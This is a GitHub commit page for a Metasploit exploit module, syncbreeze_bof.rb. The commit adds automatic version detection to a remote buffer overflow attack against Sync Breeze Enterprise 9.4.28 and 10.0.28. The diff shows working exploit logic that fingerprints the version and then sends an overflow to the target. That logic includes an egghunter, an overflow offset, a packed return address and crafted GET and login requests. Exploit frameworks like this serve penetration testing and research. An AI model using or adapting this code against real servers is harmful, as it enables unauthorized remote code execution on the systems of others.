Skip to content

Commit 3a2c612

Browse files
committed
Support automatic targeting
1 parent fd0ce33 commit 3a2c612

File tree

1 file changed

+48
-16
lines changed

1 file changed

+48
-16
lines changed

modules/exploits/windows/http/syncbreeze_bof.rb

Lines changed: 48 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,9 @@ def initialize(info = {})
3939
},
4040
'Targets' =>
4141
[
42+
[
43+
'Automatic', {}
44+
],
4245
[ 'Sync Breeze Enterprise v9.4.28',
4346
{
4447
'Offset' => 2488,
@@ -57,34 +60,58 @@ def initialize(info = {})
5760
'DefaultTarget' => 0))
5861
end
5962

60-
def check
63+
def get_product_name
6164
res = send_request_cgi(
6265
'method' => 'GET',
6366
'uri' => '/'
6467
)
6568

6669
if res && res.code == 200
67-
version = res.body[/Sync Breeze Enterprise v[^<]*/]
68-
if version
69-
vprint_status("Version detected: #{version}")
70-
if version =~ /9\.4\.28/ or version =~ /10\.0\.28/
71-
return Exploit::CheckCode::Appears
72-
end
73-
return Exploit::CheckCode::Detected
74-
end
75-
else
76-
vprint_error('Unable to determine due to a HTTP connection timeout')
77-
return Exploit::CheckCode::Unknown
70+
product_name = res.body.scan(/(Sync Breeze Enterprise v[^<]*)/i).flatten.first
71+
return product_name if product_name
72+
end
73+
74+
nil
75+
end
76+
77+
def check
78+
product_name = get_product_name
79+
return Exploit::CheckCode::Unknown unless product_name
80+
81+
if product_name =~ /9\.4\.28/ || product_name =~ /10\.0\.28/
82+
return Exploit::CheckCode::Appears
83+
elsif product_name =~ /Sync Breeze Enterprise/
84+
return Exploit::CheckCode::Detected
7885
end
7986

8087
Exploit::CheckCode::Safe
8188
end
8289

83-
def exploit
90+
def get_target_name
91+
if target.name != 'Automatic'
92+
print_status("Target manually set as #{target.name}")
93+
return target
94+
else
95+
print_status('Automatically detecting target...')
96+
end
8497

85-
case target.name
98+
case get_product_name
99+
when /9\.4\.28/
100+
print_status('Target is 9.4.28')
101+
return targets[1]
102+
when /10\.0\.28/
103+
print_status('Target is 10.0.28')
104+
return targets[2]
105+
else
106+
nil
107+
end
108+
end
86109

87-
when 'Sync Breeze Enterprise v9.4.28'
110+
def exploit
111+
tmp_target = target
112+
case get_target_name
113+
when targets[1]
114+
target = targets[1]
88115
eggoptions = {
89116
checksum: true,
90117
eggtag: rand_text_alpha(4, payload_badchars)
@@ -110,7 +137,8 @@ def exploit
110137
'uri' => sploit
111138
)
112139

113-
when 'Sync Breeze Enterprise v10.0.28'
140+
when targets[2]
141+
target = targets[2]
114142
uri = "/login"
115143
sploit = rand_text_alpha(target['Offset'])
116144
sploit << [target.ret].pack('V')
@@ -128,6 +156,10 @@ def exploit
128156
'password' => "rawr"
129157
}
130158
)
159+
else
160+
print_error("Exploit not suitable for this target.")
131161
end
162+
ensure
163+
target = tmp_target
132164
end
133165
end

0 commit comments

Comments
 (0)